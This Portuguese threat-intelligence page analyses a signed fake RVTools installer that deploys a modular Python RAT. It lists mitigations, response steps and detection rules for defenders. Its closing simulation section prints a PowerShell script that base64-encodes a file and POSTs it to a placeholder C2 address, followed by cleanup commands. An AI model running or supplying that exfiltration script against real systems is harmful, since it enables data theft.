RVTools Mascarada: Como um Installer Falso Assinado Implanta um RAT Modular em Python
Detection stack
- AIDR
- Alert
- ETL
- Query
Resumo
Um instalador MSI malicioso assinado com um certificado legítimo se disfarça como a utilidade RVTools usada por administradores do VMware. Uma vez executado, o instalador solta um VBScript que lança o PowerShell para baixar um grande arquivo ZIP do Dropbox. Esse arquivo contém um ambiente Python portátil que executa um RAT em várias etapas, capaz de reconhecimento, persistência e comunicação com servidores de comando e controle com endereços hard-coded.
Investigação
A análise rastreou o MSI para uma ação de VBScript personalizada, Binary.MyScript.vbs, que decodificou um comando PowerShell ofuscado. Esse comando baixava um winp.zip payload em %APPDATA%, extraía componentes e scripts Python, como collector.py and Pmanager.py, e então estabelecia persistência por meio de chaves de execução do registro e uma tarefa agendada após a reinicialização. Os pesquisadores também descobriram que o RAT criptografava dados coletados com RC4 e enviava sinais para cinco endereços IP fixos em intervalos de cinco minutos.
Mitigação
As organizações devem impor validações rigorosas de assinatura de código com verificações ao vivo de OCSP ou CRL, bloquear a execução de MSI não confiáveis e monitorar ações de VBScript personalizadas suspeitas embutidas em pacotes de instalação. Os defensores também devem prevenir a execução automática de scripts baixados, observar novas entradas de chave Run e a criação de tarefas agendadas, e alertar sobre o tráfego de saída para endereços IP hard-coded não familiares.
Resposta
Se esta atividade for detectada, isole o endpoint afetado imediatamente, colete o MSI, VBScript e arquivos de payload extraídos para análise forense, e remova todos os artefatos de persistência, incluindo a chave Run e a tarefa agendada. Os endereços IP de comando e controle identificados devem ser bloqueados no firewall, e uma revisão mais ampla de credenciais e da atividade do Active Directory deve ser realizada para determinar se ocorreu movimento lateral.
Fluxo de Ataque
Detecções
LOLBAS WScript / CScript (via criação_de_processo)
Visualizar
Execução de Python de Pastas Suspeitas (via linha_de_comando)
Visualizar
A Possibilidade de Execução Através de Linhas de Comando PowerShell Ocultas (via linha_de_comando)
Visualizar
Um Arquivo Foi Extraído para Diretório Suspeito Usando Powershell (via powershell)
Visualizar
Consultas DNS de Subdomínios da API do Dropbox Possivelmente Iniciadas por Processos Não Legítimos (via consulta_dns)
Visualizar
IOCs (HashSha256) para detectar: Disfarce RVTools: Como um Instalador Falso Assinado Implanta um RAT Modular em Python
Visualizar
IOCs (HashMd5) para detectar: Disfarce RVTools: Como um Instalador Falso Assinado Implanta um RAT Modular em Python
Visualizar
Detecção de Exfiltração de Dados via IPs Codificados e HTTP POST [Conexão de Rede do Windows]
Visualizar
Detecção de Execução PowerShell Maliciosa Oculta e Invoke-WebRequest [Windows Powershell]
Visualizar
Instalador Falso RVTools Suspeito Implantando RAT em Python [Criação de Processo do Windows]
Visualizar
Execução de Simulação
Pré-Requisito: O Check de Pré-voo de Telemetria & Baseline deve ter passado.
Racional: Esta seção detalha a execução precisa da técnica de adversário (TTP) projetada para acionar a regra de detecção. Os comandos e a narrativa DEVEM refletir diretamente as TTPs identificadas e visam gerar a telemetria exata esperada pela lógica de detecção.
-
Narrativa de Ataque & Comandos:
Um adversário que já estabeleceu uma base na máquina da vítima decide exfiltrar um pequeno conjunto de dados (por exemplo,C:Tempsecret.txt). Para evitar acionar alertas genéricos de tráfego de saída, o ator usa uma PowerShell linha-única que executa um HTTP POST diretamente para um dos IPs C2 codificados (192.0.2.10). O comando é agendado via um Tarefa Agendada do Windows para garantir persistência (T1546.013). Nenhum binário adicional é baixado, mantendo a atividade como ‘vivendo da terra’. -
Script de Teste de Regressão:
# ------------------------------------------------- # Script PowerShell – Exfiltração de dados via IP codificado # ------------------------------------------------- $c2Ip = "192.0.2.10" $c2Port = 80 $uri = "http://$c2Ip/exfil" $file = "C:Tempsecret.txt" # Garantir que o arquivo exista (criar dados fictícios para teste) if (-Not (Test-Path $file)) { "dados sensíveis $(Get-Date)" | Out-File -FilePath $file -Encoding ASCII } # Ler conteúdo do arquivo e codificar em Base64 $payload = [Convert]::ToBase64String([IO.File]::ReadAllBytes($file)) # Executar o HTTP POST $body = @{ data = $payload } try { Invoke-WebRequest -Uri $uri -Method POST -Body $body -UseBasicParsing -TimeoutSec 10 Write-Host "Tentativa de exfiltração enviada para $c2Ip" } catch { Write-Error "Exfiltração falhou: $_" } -
Comandos de Limpeza:
# Remover o arquivo fictício Remove-Item -Path "C:Tempsecret.txt" -Force -ErrorAction SilentlyContinue # Excluir qualquer tarefa agendada criada para o teste (se houver) $taskName = "DataExfilTask" if (Get-ScheduledTask -TaskName $taskName -ErrorAction SilentlyContinue) { Unregister-ScheduledTask -TaskName $taskName -Confirm:$false }